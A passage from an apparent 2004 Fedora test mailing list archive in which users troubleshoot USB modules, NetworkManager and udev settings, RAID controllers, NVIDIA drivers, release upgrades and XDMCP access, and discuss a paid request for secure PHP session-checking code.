repeat old mistakes ? Amitabha From lux at diesel-research.com Sat Nov 6 16:44:00 2004 From: lux at diesel-research.com (Kim Lux) Date: Sat, 06 Nov 2004 09:44:00 -0700 Subject: usb-ehci and a problem In-Reply-To: <1099746283.4043.6.camel@localhost.localdomain> References: <1099746283.4043.6.camel@localhost.localdomain> Message-ID: <1099759440.3537.1.camel@localhost.localdomain> I'm running 2.6.9-1.667 and all my USB stuff works fine. I was using a USB Serial port yesterday. (PL2303 type...) My USB hard drive works fine too. I was worried about the USB hard drive because the system log said it was connected via USB1.1, but it still transferred data at 25MB/sec, so it must have been using USB2.0 On Sat, 2004-11-06 at 13:04 +0000, Paul wrote: > Hi, > > If I try to /sbin/modprobe usb-ehci, all I get is module ehci_usb cannot > be found. Is anyone else seeing that? > > Also, I have a new floppy drive which has in it an SD reader and other > card readers. This is picked up as it's connected to one of the USB > plugs on the motherboard. > > There is power to it, but both /sbin/lsusb is showing nothing and kudzu > didn't see anything. > > The drive itself (specs etc) can be seen at > > http://www.dabs.com/uk/channels/hardware/storage/productView.htm? > quicklinx=2SRJ > > As usual, the manufacturers website is brain-dead enough to say their > site is "optimised" for IE (what ever the heck that means - I'm guessing > it means it's broken!) and doesn't even mention Linux. > > Does anyone know what modules I need to load for it (I have ohci and > uhci as well as usb-storage loaded, but nothing seems to be found). Is > it just a case of adding the devices to fstab and if so, what would they > be called and where would they get mounted? > > I'm using FC3T3 (though when I reboot, it is saying I'm still on T2!) > > TTFN > > Paul > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list -- Kim Lux (Mr.) Diesel Research Inc From ziga.mahkovec at klika.si Sat Nov 6 16:54:52 2004 From: ziga.mahkovec at klika.si (Ziga Mahkovec) Date: Sat, 06 Nov 2004 17:54:52 +0100 Subject: Another NetworkManager question In-Reply-To: <77e74f3e04110607224a60c073@mail.gmail.com> References: <77e74f3e04110607224a60c073@mail.gmail.com> Message-ID: <1099760093.13096.12.camel@serenity.klika.si> On Sat, 2004-11-06 at 10:22 -0500, Amitabha Roy wrote: > [snip] > > Also, can someone tell me where NM stores keys, ap information, > history of recorded > networks etc ? How can I reset all the information so that NM does not try > to repeat old mistakes ? They are stored in GConf, under /system/networking/wireless/networks. To backup and reset: $ gconftool-2 --dump /system/networking/wireless/networks > wlan.xml $ gconftool-2 --recursive-unset /system/networking/wireless/networks -- Ziga From alan at redhat.com Sat Nov 6 17:13:01 2004 From: alan at redhat.com (Alan Cox) Date: Sat, 6 Nov 2004 12:13:01 -0500 Subject: Proliant CSB-6 Raid Drivers for Fedora In-Reply-To: <418CDD63.90500@awcconsulting.com> References: <1099594130.7063.5.camel@localhost.localdomain> <1099604371.16640.23.camel@laptop.fenrus.org> <418BF1D9.6010401@awcconsulting.com> <1099691888.2814.31.camel@laptop.fenrus.org> <418CDD63.90500@awcconsulting.com> Message-ID: <20041106171301.GB9728@devserv.devel.redhat.com> On Sat, Nov 06, 2004 at 09:19:15AM -0500, AWC Maillists wrote: > installed onto lower-end motherboards. By what you are saying it sounds > like these "RAID" controllers are kind of like Winmodems... offloading > the real work to the CPU and OS. Or am I still not getting this right?? That would be overqualifying them. There are really three kinds of raid floating around. The first is pure software raid like the CSB6 raid, the ICH-R, most promise PATA controllers and so on. These have no hardware assistance for raid at all just a different BIOS (and often price). Almost every parallel ATA RAID falls into this (Some exceptions eg 3WARE and IT8212) The traditional hardware raid controllers do all the raid in hardware or onboard processors - these range for simple devices like the 3Ware which is fast but basic to the aacraid which has full hardware logical volume management, live migration and the like. They can help if your PCI bus is the bottleneck or with raid5 but many of them underperform software raid (Intel make very good raid controllers called "Pentiumn IV" and a CPU upgrade is suprisingly cost effective as is SMP) What are starting to appear now (although its an old idea one one the old Adaptec AAC-1xx cards did) are hybrid cards which do some things in hardware (such as XOR and buffering to keep PCI transfers down to one per IO) but do the rest in software - these are more akin to the "winmodem" world than perhaps the pure software raid. [although some winmodems are also awfully dumb too] Alan From stevef at netvantix.com Sat Nov 6 17:23:07 2004 From: stevef at netvantix.com (Steve Fink) Date: Sat, 06 Nov 2004 10:23:07 -0700 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <418C5A2C.3040208@gulik.org> References: <20041106020558.10564.qmail@webmail07.mesa1.secureserver.net> <418C3237.9010006@comcast.net> <418C5A2C.3040208@gulik.org> Message-ID: <1099761787.5210.2.camel@orion> Greg, I've seen this same issue on a Dell Latitude C840 with the new Nvidia 6629 with a 2.6.9 vanilla kernel and FC2. I don't think it's specific to FC3T*. Best, Steve On Fri, 2004-11-05 at 22:59 -0600, Gregory Gulik wrote: > Thanks for the info. The new 6629 nvidia driver works on my Dell 8100 > notebook, yet DPMS still doesn't work. It used to work in FC2. > > The 6629 driver does NOT work on my Compaq R3000z. The previous > version did work ok but 6629 has a majorly messed up screen upon starting X. > > Anyone else having troubles with the NVIDIA driver on an R3000Z?? > > > Jim Martin wrote: > > I just installed the new 6629 nvidia driver in FC3 and it worked fine, > > check www.nvidia.com for th update > > -- > Greg Gulik http://www.gulik.org/greg/ > greg @ gulik.org -- ------------------------- Steve Fink GPG Public Key 1024D/0FF85E51 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From P.R.Schaffner at IEEE.org Sat Nov 6 17:39:04 2004 From: P.R.Schaffner at IEEE.org (Phil Schaffner) Date: Sat, 06 Nov 2004 12:39:04 -0500 Subject: yum update from RC5 to full release possible? In-Reply-To: <200411060111.24328.gene.heskett@verizon.net> References: <200411060111.24328.gene.heskett@verizon.net> Message-ID: <1099762745.9602.28.camel@tabb1.tabb> On Sat, 2004-11-06 at 01:11 -0500, Gene Heskett wrote: > Greetings; > > I just put RC5 on my shop box, and I'm wondering if, when the full > release is made, I can yum update it to the full release? Have also been thinking about that. Seems it will primarily depend on if there are package roll-backs in versions, or packages removed between RC5 and final. Have found both of these problems in going from FC3tX to FC3rcX versions, but hopefully rc5 will be closer to final. A note to this list from developers soon after the release on the differences would would be helpful to us brave souls who have been testing (with the usual caveat about only updates from official releases being "supported"). A recursive diff between FC3rc5 and FC3 trees should tell the tale. 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And what's the usage of chcon (haven't installed seL yet). I would love pointers to more info on this specific chmod/chcon interaction and t-shooting topic. Tweeks From mrguytx at austin.rr.com Sat Nov 6 19:03:08 2004 From: mrguytx at austin.rr.com (W. Guy Thomas) Date: Sat, 06 Nov 2004 13:03:08 -0600 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <1099761787.5210.2.camel@orion> References: <20041106020558.10564.qmail@webmail07.mesa1.secureserver.net> <418C3237.9010006@comcast.net> <418C5A2C.3040208@gulik.org> <1099761787.5210.2.camel@orion> Message-ID: <1099767788.3714.7.camel@guyleidadell> On Sat, 2004-11-06 at 10:23 -0700, Steve Fink wrote: > Greg, > > I've seen this same issue on a Dell Latitude C840 with the new Nvidia > 6629 with a 2.6.9 vanilla kernel and FC2. I don't think it's specific > to FC3T*. > > Best, > > Steve > > > > On Fri, 2004-11-05 at 22:59 -0600, Gregory Gulik wrote: > > Thanks for the info. The new 6629 nvidia driver works on my Dell 8100 > > notebook, yet DPMS still doesn't work. It used to work in FC2. > > > > The 6629 driver does NOT work on my Compaq R3000z. The previous > > version did work ok but 6629 has a majorly messed up screen upon starting X. > > > > Anyone else having troubles with the NVIDIA driver on an R3000Z?? > > > > > > Jim Martin wrote: > > > I just installed the new 6629 nvidia driver in FC3 and it worked fine, > > > check www.nvidia.com for th update > > > > -- > > Greg Gulik http://www.gulik.org/greg/ > > greg @ gulik.org > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list well I'm glad you posted this, I have a C840 and was just getting ready to try the nvidia instead of nv, think I'll hold off... thanks. -- =Guy 13:02:33 up 3:50, 2 users, load average: 1.30, 1.24, 1.12 From skvidal at phy.duke.edu Sat Nov 6 18:33:49 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Sat, 06 Nov 2004 13:33:49 -0500 Subject: FC3 Upgrade of x86-64 System? In-Reply-To: <6269CB6A-3015-11D9-ACD7-000A9566A350@DDG.com> References: <6269CB6A-3015-11D9-ACD7-000A9566A350@DDG.com> Message-ID: <1099766030.3386.17.camel@binkley> On Sat, 2004-11-06 at 11:00 -0600, Andrew W. Donoho wrote: > > > ______________________________________________________________________ > > Folks, > > With the impending release of FC3, I was wondering if a single i386 > rescue disk can be used to kick off both i386 and x86-64 system > upgrades? In other words, can I boot the i386 rescue disk on an x86-64 > system and then point it at an x86-64 repository to do the install as > an x86-64 system? > no, the kernel is wrong. -sv From kyrre at solution-forge.net Sat Nov 6 19:18:41 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Sat, 06 Nov 2004 20:18:41 +0100 Subject: FC3 Upgrade of x86-64 System? In-Reply-To: <1099766030.3386.17.camel@binkley> References: <6269CB6A-3015-11D9-ACD7-000A9566A350@DDG.com> <1099766030.3386.17.camel@binkley> Message-ID: <1099768721.2787.113.camel@kyrre> l?r, 06.11.2004 kl. 19.33 skrev seth vidal: > On Sat, 2004-11-06 at 11:00 -0600, Andrew W. Donoho wrote: > > > > > > ______________________________________________________________________ > > > > Folks, > > > > With the impending release of FC3, I was wondering if a single i386 > > rescue disk can be used to kick off both i386 and x86-64 system > > upgrades? In other words, can I boot the i386 rescue disk on an x86-64 > > system and then point it at an x86-64 repository to do the install as > > an x86-64 system? > > > > no, the kernel is wrong. > -sv > Shouldn't really be a problem - as long as it boots (and i386 code runs on x86_64) Original poster: what exactly do you mean? Do you mean to perform an yum upgrade, or to start an anaconda nfs (etc.) install? HW. detection the problem here? But really - it is enough space (if that is the problem) for both a 32 and 64 bit kernel on the rescue cd. From trulsg at broadpark.no Sat Nov 6 20:50:22 2004 From: trulsg at broadpark.no (Truls Gulbrandsen) Date: Sat, 06 Nov 2004 21:50:22 +0100 Subject: yum upgrade? - Failed In-Reply-To: <418BEC79.5020503@broadpark.no> References: <4189287C.5060305@broadpark.no> <1099510153.4065.9.camel@binkley> <604aa79104110405053e6e3ad@mail.gmail.com> <1099574143.3536.1.camel@binkley> <418A9A11.3070601@broadpark.no> <1099641608.9565.10.camel@binkley> <418BEC79.5020503@broadpark.no> Message-ID: <418D390E.4070408@broadpark.no> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Truls Gulbrandsen wrote: | seth vidal wrote: | |>I tried this from fc2 to fc3 using the repository specified in another | |>mail with this subject. It didn't work and what happens is: | |> | |>yum, python, kernel and glibc upgrade works. Then when trying to | |>upgrade udev I receive the following error message: < Error: udev | |>conflicts with kernel< 0:2.6 > | | | | | | right but what kernel(s) do you have installed? I bet you still have a | | 2.4 kernel in there. | | | | rpm -q kernel kernel-smp | | | | remove the 2.4-series kernel and it should work. | | | | -sv | | | | | | Everything went fine until reboot. I have two kernels installed | 2.6.8-152 and 2.6.9.649. | | When using the 2.6.9 kernel startup stops at a point when it says | "switching to new root" | and | when using the 2.6.8 kernel startup stops at almost the same place | stating "Warning: unable to open an initial console". | | It was a good thing I did this on a test machine not my live one but do | you have any suggestions to work around this or am I at a point where | need to install from a cd? | | Truls -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFBjTkOickK29LSyG8RAtDnAJ9PZXUmHhTlLU3pblWGq5UzQR5szwCeJEel PtksiEdqI3i8na9JLqMj3fU= =e0Xu -----END PGP SIGNATURE----- -------------- next part -------------- A non-text attachment was scrubbed... Name: trulsg.vcf Type: text/x-vcard Size: 237 bytes Desc: not available URL: From P.R.Schaffner at IEEE.org Sat Nov 6 20:55:16 2004 From: P.R.Schaffner at IEEE.org (Phil Schaffner) Date: Sat, 06 Nov 2004 15:55:16 -0500 Subject: Fedora Core 2 Test Update: wget-1.9.1-16.fc2 In-Reply-To: <41806260.9080009@speakeasy.net> References: <20041027225742.GA15126@redhat.com> <1098916306.3553.1.camel@localhost.localdomain> <20041028012906.6ad58448.robn@verdi.et.tudelft.nl> <41803971.9090701@speakeasy.net> <20041028031556.5ac9cf3b.robn@verdi.et.tudelft.nl> <41806260.9080009@speakeasy.net> Message-ID: <1099774516.9602.40.camel@tabb1.tabb> On Wed, 2004-10-27 at 23:07 -0400, Andrew wrote: > Good evening Rob, > > > Rob van Nieuwkerk wrote: > > > > I think it is good to quote the *relevant* part of the posting you are > > replying to in a reply: > > > > - it makes a reply easier to understand: you can put your reply lines > > exactly under the right line of the original text if necessary. > > > > Rather than making it easier to understand, the quote only provides immediate > context. Sometimes that makes things easier to understand, but sometimes not. > This, however, is not a forum for a discussion of epistemology. Well you made me look that one up - not a word an engineer uses a lot... According to Principia Cybernetica - first Google entry: Epistemology is the branch of philosophy that studies knowledge. It attempts to answer the basic question: what distinguishes true (adequate) knowledge from false (inadequate) knowledge? > snip < > I doubt however, that an appeal to > etiquette could be legitimately sustained when one considers that the use of > humor while correcting another is indistinguishable from sarcasm. Been on both ends of that one. > Finally, let me apologize for committing one of the greatest sins against mailing list > etiquette, i.e., hijacking the thread. -- Think that had already happened at least once before you jumped in, but guess I just compounded the sin. ;^) Thanks for the linguistic refresher. These hijacked threads can occasionally yield some enlightenment. Phil From greg at gulik.org Sat Nov 6 20:55:07 2004 From: greg at gulik.org (Gregory Gulik) Date: Sat, 06 Nov 2004 14:55:07 -0600 Subject: Fonts look odd in Mozilla/Firefox Message-ID: <418D3A2B.6030607@gulik.org> I always thought the fonts looked odd in FC3T3 but when I put it side by side with a FC2 system I saw the problem was that the line spacing is much greater in FC3. In particular there seems to be several pixels of excess white space above each character causing the spacing problem. This is especially annoying on my laptop with a WXGA 1280x800 display. -- Greg Gulik http://www.gulik.org/greg/ greg @ gulik.org From lux at diesel-research.com Sat Nov 6 22:02:47 2004 From: lux at diesel-research.com (Kim Lux) Date: Sat, 06 Nov 2004 15:02:47 -0700 Subject: ttyUSB0 permission issue. UDev ? Message-ID: <1099778567.10244.3.camel@localhost.localdomain> I've got a problem with the permissions on the serial port assigned to my USB serial port device. It is always root access only. I've got regular users that need to use this device without root intervention. Right now the hot plug event mounts the device properly and everything, except that the permission on it is root only. As root I can change the permission to users and then it is perfectly usable, but the next time the device is hot plugged the permissions are back to root. I am not very familiar with UDev. Is there a way to configure it so that certain devices get different permissions ? Thanks. -- Kim Lux (Mr.) Diesel Research Inc From jerryw4386 at msn.com Sat Nov 6 23:16:34 2004 From: jerryw4386 at msn.com (JERRY WHITMIRE) Date: Sat, 06 Nov 2004 15:16:34 -0800 Subject: Network control device Message-ID: Can not get the network control device to stay at the primary dns that i set for 205.171.3.65 Or the secondary dns that is 205.171.2.65 to stay at these settings when i reboot my system it goes back to 192.168.0.1 primary dns and secondary 205.171.3.65 I can not get the internet to work with mozill if these settings do not stay as default. Is there any ideas out there that can help me. Jerry W. Whitmire jerryw4386 at msn.com _________________________________________________________________ Is your PC infected? Get a FREE online computer virus scan from McAfee? Security. http://clinic.mcafee.com/clinic/ibuy/campaign.asp?cid=3963 From sandy_pond at myrealbox.com Sat Nov 6 23:28:53 2004 From: sandy_pond at myrealbox.com (Sandy Pond) Date: Sat, 06 Nov 2004 18:28:53 -0500 Subject: ttyUSB0 permission issue. UDev ? In-Reply-To: <1099778567.10244.3.camel@localhost.localdomain> References: <1099778567.10244.3.camel@localhost.localdomain> Message-ID: <1099783733.7376.3.camel@family> On Sat, 2004-11-06 at 15:02 -0700, Kim Lux wrote: > I've got a problem with the permissions on the serial port assigned to > my USB serial port device. It is always root access only. > > I've got regular users that need to use this device without root > intervention. Right now the hot plug event mounts the device properly > and everything, except that the permission on it is root only. > > As root I can change the permission to users and then it is perfectly > usable, but the next time the device is hot plugged the permissions are > back to root. > > I am not very familiar with UDev. Is there a way to configure it so > that certain devices get different permissions ? > > Thanks. Try looking at /etc/udev/permissions.d/50-udev.permissions and look at sample udev.permissions in the udev man page: man udev From awd at DDG.com Sat Nov 6 22:54:01 2004 From: awd at DDG.com (Andrew W. Donoho) Date: Sat, 6 Nov 2004 16:54:01 -0600 Subject: FC3 Upgrade of x86-64 System? In-Reply-To: <1099768721.2787.113.camel@kyrre> References: <6269CB6A-3015-11D9-ACD7-000A9566A350@DDG.com> <1099766030.3386.17.camel@binkley> <1099768721.2787.113.camel@kyrre> Message-ID: On Nov 6, 2004, at 13:18, Kyrre Ness Sjobak wrote: > l?r, 06.11.2004 kl. 19.33 skrev seth vidal: >> On Sat, 2004-11-06 at 11:00 -0600, Andrew W. Donoho wrote: >>> >>> >>> _____________________________________________________________________ >>> _ >>> >>> Folks, >>> >>> With the impending release of FC3, I was wondering if a single i386 >>> rescue disk can be used to kick off both i386 and x86-64 system >>> upgrades? In other words, can I boot the i386 rescue disk on an >>> x86-64 >>> system and then point it at an x86-64 repository to do the install as >>> an x86-64 system? >>> >> >> no, the kernel is wrong. >> -sv >> > > Shouldn't really be a problem - as long as it boots (and i386 code runs > on x86_64) > > Original poster: what exactly do you mean? Do you mean to perform an > yum > upgrade, or to start an anaconda nfs (etc.) install? HW. detection the > problem here? I would be performing an anaconda HTTP upgrade. What I want is, because the rescue CD can ask you which protocol and code repository to use, I would like it to install the kernel and supporting material from the repository and not from the rescue CD. This isn't really a big deal but it would be a nice feature - one rescue CD for all x86 derived systems, 32 and 64 bit. It isn't so much a hardware upgrade problem but rather, as I understand it, to get the new udev functionality in FC3 I need to do an anaconda upgrade. In other words, I am foolishly trying to save burning two CDs: FC3 i386 rescue CD and x86-64 FC3 CD 1. > But really - it is enough space (if that is the problem) for both a 32 > and 64 bit kernel on the rescue cd. Yes, the rescue CD is only 70-80 MB in size. Plenty of room for every kernel that Fedora supports. If the machine can read the disc, it should be able to boot from it. Andrew ____________________________________ Andrew W. Donoho awd at DDG.com, PGP Key ID: 0x81D0F250 +1 (512) 453-6652 (o), +1 (512) 750-7596 (m) -------------- next part -------------- A non-text attachment was scrubbed... Name: PGP.sig Type: application/pgp-signature Size: 172 bytes Desc: not available URL: From lux at diesel-research.com Sat Nov 6 23:54:36 2004 From: lux at diesel-research.com (Kim Lux) Date: Sat, 06 Nov 2004 16:54:36 -0700 Subject: ttyUSB0 permission issue. UDev ? In-Reply-To: <1099783733.7376.3.camel@family> References: <1099778567.10244.3.camel@localhost.localdomain> <1099783733.7376.3.camel@family> Message-ID: <1099785276.5124.0.camel@localhost.localdomain> Thanks ! On Sat, 2004-11-06 at 18:28 -0500, Sandy Pond wrote: > On Sat, 2004-11-06 at 15:02 -0700, Kim Lux wrote: > > I've got a problem with the permissions on the serial port assigned to > > my USB serial port device. It is always root access only. > > > > I've got regular users that need to use this device without root > > intervention. Right now the hot plug event mounts the device properly > > and everything, except that the permission on it is root only. > > > > As root I can change the permission to users and then it is perfectly > > usable, but the next time the device is hot plugged the permissions are > > back to root. > > > > I am not very familiar with UDev. Is there a way to configure it so > > that certain devices get different permissions ? > > > > Thanks. > > Try looking at /etc/udev/permissions.d/50-udev.permissions and look at > sample udev.permissions in the udev man page: > > man udev > > > > > -- Kim Lux (Mr.) Diesel Research Inc From rpaiz at simpaticus.com Sun Nov 7 00:02:40 2004 From: rpaiz at simpaticus.com (Rodolfo J. Paiz) Date: Sat, 06 Nov 2004 18:02:40 -0600 Subject: Cash reward for a secure PHP page! Message-ID: <1099785760.3384.50.camel@localhost.localdomain> Hi, everyone: A client of mine has an internal website which will use PHP, Apache, and Fedora. It is served only over HTTPS, specifically for the needs of a few users, each of which has a username and password. However, they do not want to rely on .htaccess files only; they want each page to check session validity so they can have time-outs and stuff. Since I do not have the skills to do this, but they are good clients of mine, I am offering a cash reward (amount negotiable... I was thinking of US$100...) for code which does this. I will proceed to license this code under the GPL and publicly post a HOWTO on my site on how to use it along with the entire code. So anyone who helps me is going to be helping quite a few other people too. Here's what my customer wants: My customer wants PHP code that can be added to each and every page on the site and which should then: 1. Check for an established session (by whatever means... a file on the server or a cookie on the client), and if a session is found then the content of that page should be displayed. 2. If a valid session is not found, either because the user has not logged in or because the session has timed out, then the page should display only a request for the user's credentials. 3. If valid credentials are supplied, then the page should reload (which will display the contents since there is now a valid session). That is all the functionality required, although of course there are some additional conditions: 1. The user's credentials should be stored in some reasonably-secure and reasonably-scalable fashion. I do not have the knowledge to determine whether an htaccess file will work well enough or whether using a database is recommended. There are just over 100 users and *no* growth is projected. However, note that most content on this site will be database-driven so adding another table theoretically should not be a problem. 2. Their current (and limited!) knowledge is of MySQL although they are contemplating a move to PostgreSQL. So code which talks to the database, if any, should be properly abstracted into a separate function to ease migration headaches. 3. The code should be clean, clear, well-written, and well-documented, easy for others to understand and modify. Variables should be clearly named. 4. MOST IMPORTANT of all, the code should be "securely written", which they understand to mean idiot-proof, tamper-proof, and carefully checking for the possibility of buffer overflows or exploits. After all, the point is to increase security, and if the code is exploitable they have less than nothing. ---------- Anyone interested, please contact me off-list! I will select the best submission offered and negotiate the reward individually. Reward will be paid if/when submission is adequate to my satisfaction (of course, nothing will be used without permission and payment). Hopefully this way someone gets paid to do the entire Linux world a small favor. If you know anyone not on these lists who might be interested, forward this email to them please. Cheers, -- Rodolfo J. Paiz -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From Baer at BaerSolutions.com Sun Nov 7 00:46:53 2004 From: Baer at BaerSolutions.com (R. Scott Baer) Date: Sat, 06 Nov 2004 19:46:53 -0500 Subject: FC3 test 3 and xdmcp access Message-ID: <418D707D.2070800@BaerSolutions.com> I loaded the FC3 test 3 and access the box via xdmcp after I enabled the option vi the login setting. After updating the box via yum, and a reboot, I am no longer able to access the box via xdmcp. I have duplicate this problem on two boxes I'm trying to access if from a cygwin using the following command: x -query (the hostname or IP) I can still access other boxed on the network using this command. Is their a new setting that has changed during the FC3 test 3 updates that i missed ?? Scott From sandy_pond at myrealbox.com Sun Nov 7 01:26:03 2004 From: sandy_pond at myrealbox.com (Sandy Pond) Date: Sat, 06 Nov 2004 20:26:03 -0500 Subject: FC3 test 3 and xdmcp access In-Reply-To: <418D707D.2070800@BaerSolutions.com> References: <418D707D.2070800@BaerSolutions.com> Message-ID: <1099790763.8160.2.camel@family> On Sat, 2004-11-06 at 19:46 -0500, R. Scott Baer wrote: > I loaded the FC3 test 3 and access the box via xdmcp after I enabled the > option vi the login setting. > After updating the box via yum, and a reboot, I am no longer able to > access the box via xdmcp. > I have duplicate this problem on two boxes > > I'm trying to access if from a cygwin using the following command: > > x -query (the hostname or IP) > > I can still access other boxed on the network using this command. > > Is their a new setting that has changed during the FC3 test 3 updates > that i missed ?? I think XDMCP is now disabled by default. Go to System Settings => Login Screen and on the XDMCP tab click on Enable XDMCP. However, if you're using cygwin's X then you may want to just "ssh -X username at remote" from an xterm. From caught at prodigy.net Mon Nov 1 20:59:53 2004 From: caught at prodigy.net (kenneth topp) Date: Mon, 1 Nov 2004 15:59:53 -0500 (EST) Subject: kernel-2.6.9-1.649 ext3 issues Message-ID: Hi, I have two boxes that had ext3 corruption on 649, both had 643 before. I have a third machine that stayed on 643 and is still alive. One of the machine was completely lost. Hopefully online ext3 resizing is removed from FC3 kernels. From sandy_pond at myrealbox.com Sat Nov 6 23:50:48 2004 From: sandy_pond at myrealbox.com (Sandy Pond) Date: Sat, 06 Nov 2004 18:50:48 -0500 Subject: Network control device In-Reply-To: References: Message-ID: <1099785048.7376.11.camel@family> On Sat, 2004-11-06 at 15:16 -0800, JERRY WHITMIRE wrote: > Can not get the network control device to stay at the primary dns that i > set for 205.171.3.65 Or the > secondary dns that is 205.171.2.65 to stay at these settings when i reboot > my system it goes back to > 192.168.0.1 primary dns and secondary 205.171.3.65 I can not get the > internet to work with mozill > if these settings do not stay as default. Is there any ideas out there that > can help me. > > Jerry W. Whitmire > jerryw4386 at msn.com You are probably setting it up wrong. Sound like your using DHCP and something on the net is giving you an address and new dns servers. If you open System Setting => Network, select the device (highlight) then click on edit. On this dialog you can set up a static address. From fct-cornette at insight.rr.com Sun Nov 7 03:32:54 2004 From: fct-cornette at insight.rr.com (Jim Cornette) Date: Sat, 06 Nov 2004 22:32:54 -0500 Subject: What I hope is not in FC3 Message-ID: <418D9766.1030204@insight.rr.com> 1) Dual head problems with overlapping shared memory cards with cards that have their built-in memory. 2) 815 chipset video refresh problems. 3) CD burning programs that do not select rational default settings, to prevent mediacheck errors. 4) Having to unplug scanners to get them to havethe proper permissions for scanning. 5) not being able to do a normal graphical installation, without special parameters issued before the install. ---------------------- Overall, I was pleased with the progressive features for FC3test. I do think that the unresolved issues regarding certain video related issues and other minor quirks with the test version have put a damper on my enthusiasm to pursue testing. I did learn a lot about the system and that was a worthwhile use of time. I hope that FC3 is better than my expectations. In the down time between tests, I hope that the working relations between different developers can be made to forward the productivity and enhance theend result from co-operative program development. Jim From noahberman at optonline.net Sun Nov 7 02:18:46 2004 From: noahberman at optonline.net (Noah Berman) Date: Sat, 06 Nov 2004 21:18:46 -0500 Subject: Openoffice.org right click Message-ID: <418D8606.8050704@optonline.net> If Autospellcheck is on in openoffice.org and misspelled words are unlined in red, trying to right click on the word to find a list of possible corrections causes the program to crash losing all of your work, and failing to correct the word. From alan at redhat.com Sun Nov 7 02:38:26 2004 From: alan at redhat.com (Alan Cox) Date: Sat, 6 Nov 2004 21:38:26 -0500 Subject: Cash reward for a secure PHP page! In-Reply-To: <1099785760.3384.50.camel@localhost.localdomain> References: <1099785760.3384.50.camel@localhost.localdomain> Message-ID: <20041107023826.GA12856@devserv.devel.redhat.com> On Sat, Nov 06, 2004 at 06:02:40PM -0600, Rodolfo J. Paiz wrote: > few users, each of which has a username and password. However, they do > not want to rely on .htaccess files only; they want each page to check > session validity so they can have time-outs and stuff. There are a whole pile of session manager libraries for PHP floating around and some of them don't suck 8) > 1. The user's credentials should be stored in some reasonably-secure > and reasonably-scalable fashion. I do not have the knowledge to > determine whether an htaccess file will work well enough or whether The linux.org.uk portaloo does the following state = [array of things we need to remember] + timestamp md5sum (state, secret) cookie = md5result + state that gives you rather hard to fake browser kept state very easily Alan From alan at redhat.com Sun Nov 7 02:39:38 2004 From: alan at redhat.com (Alan Cox) Date: Sat, 6 Nov 2004 21:39:38 -0500 Subject: What I hope is not in FC3 In-Reply-To: <418D9766.1030204@insight.rr.com> References: <418D9766.1030204@insight.rr.com> Message-ID: <20041107023938.GB12856@devserv.devel.redhat.com> On Sat, Nov 06, 2004 at 10:32:54PM -0500, Jim Cornette wrote: > 3) CD burning programs that do not select rational default settings, to > prevent mediacheck errors. The problem to be fair is in the IDE CD driver not the CD burners, its not yet fixed and its not trivial to fix or it would have been fixed by now From pri.rhl3 at iadonisi.to Sun Nov 7 03:20:46 2004 From: pri.rhl3 at iadonisi.to (Paul Iadonisi) Date: Sat, 06 Nov 2004 22:20:46 -0500 Subject: New testing kernel. In-Reply-To: <20041103171954.GC31914@redhat.com> References: <20041103171954.GC31914@redhat.com> Message-ID: <1099797646.8428.15.camel@va.local.linuxlobbyist.org> Okay, I give up. What's the new magic to use the new megaraid driver in this kernel? I've put the kernel on an IBM Netfinity with a Megaraid controller, but the creation of the initrd failed due to the inability to find the 'megaraid' module. Well, it no longer exists, as there has apparently been a complete rewrite of it and it is now split into two modules, megraid_mm and megaraid_mbox. So, the question is, what changes do I make to /etc/modprobe.conf (or the new-kernel-pkg or mkinitrd command line) in order to include the correct modules in the initrd plus the correct commands in /linuxrc to insert them? This box is remote, so I'd like it work on the first try ;-) Googling didn't help much, by the way. Nor did searching bugzilla (some megaraid bugs were found, but no info on how to do what I'm asking above). -- -Paul Iadonisi Senior System Administrator Red Hat Certified Engineer / Local Linux Lobbyist Ever see a penguin fly? -- Try Linux. GPL all the way: Sell services, don't lease secrets From jspaleta at gmail.com Sun Nov 7 03:42:47 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Sat, 6 Nov 2004 22:42:47 -0500 Subject: What I hope is not in FC3 In-Reply-To: <418D9766.1030204@insight.rr.com> References: <418D9766.1030204@insight.rr.com> Message-ID: <604aa7910411061942602dc0e9@mail.gmail.com> On Sat, 06 Nov 2004 22:32:54 -0500, Jim Cornette wrote: > 5) not being able to do a normal graphical installation, without special > parameters issued before the install. "normal" ? I think your definition of "normal" has to be different than mine. Because i can certaintly do a "normal" graphical installation with no extra parameters on my "normal" hardware using the full install media from pretty much every single mediaset that i have done an install from from test1 onward. -jef"adnormal is the new normal, and normal the new adnormal"spaleta From thomasz at hostmaster.org Sun Nov 7 03:53:10 2004 From: thomasz at hostmaster.org (Thomas Zehetbauer) Date: Sun, 07 Nov 2004 04:53:10 +0100 Subject: warning to list In-Reply-To: <1098745593.3872.176.camel@baythorne.infradead.org> References: <1098672221.9279.1.camel@x1-6-00-0a-e6-c7-6f-d8> <200410242252.52378.lsomike@futzin.com> <1098676607.21605.65.camel@va.local.linuxlobbyist.org> <1098677531.21605.70.camel@va.local.linuxlobbyist.org> <1098745593.3872.176.camel@baythorne.infradead.org> Message-ID: <1099799590.7256.11.camel@hostmaster.org> On Die, 2004-10-26 at 00:06 +0100, David Woodhouse wrote: > That is an unfortunate error of judgement on their part. Let's not > compound it by advocating the fundamentally flawed snake oil which is > SPF in an inappropriate forum. Since you unfortunately decided to prolong the discussion about this subject, what is your problem with SPF? It does exactly what it was designed to do: (ab)use existing DNS infrastructure to designate hosts allowed to send mail on behalf of a specific domain. If everyone would use it and domain registries stop to accept bogus registrations we could sue the spammers and/or block their domains. Tom -- T h o m a s Z e h e t b a u e r ( TZ251 ) PGP encrypted mail preferred - KeyID 96FFCB89 finger thomasz at hostmaster.org for key We are tied to the ocean. And we go back to the sea, whether it is to sail or to watch it we are going back from 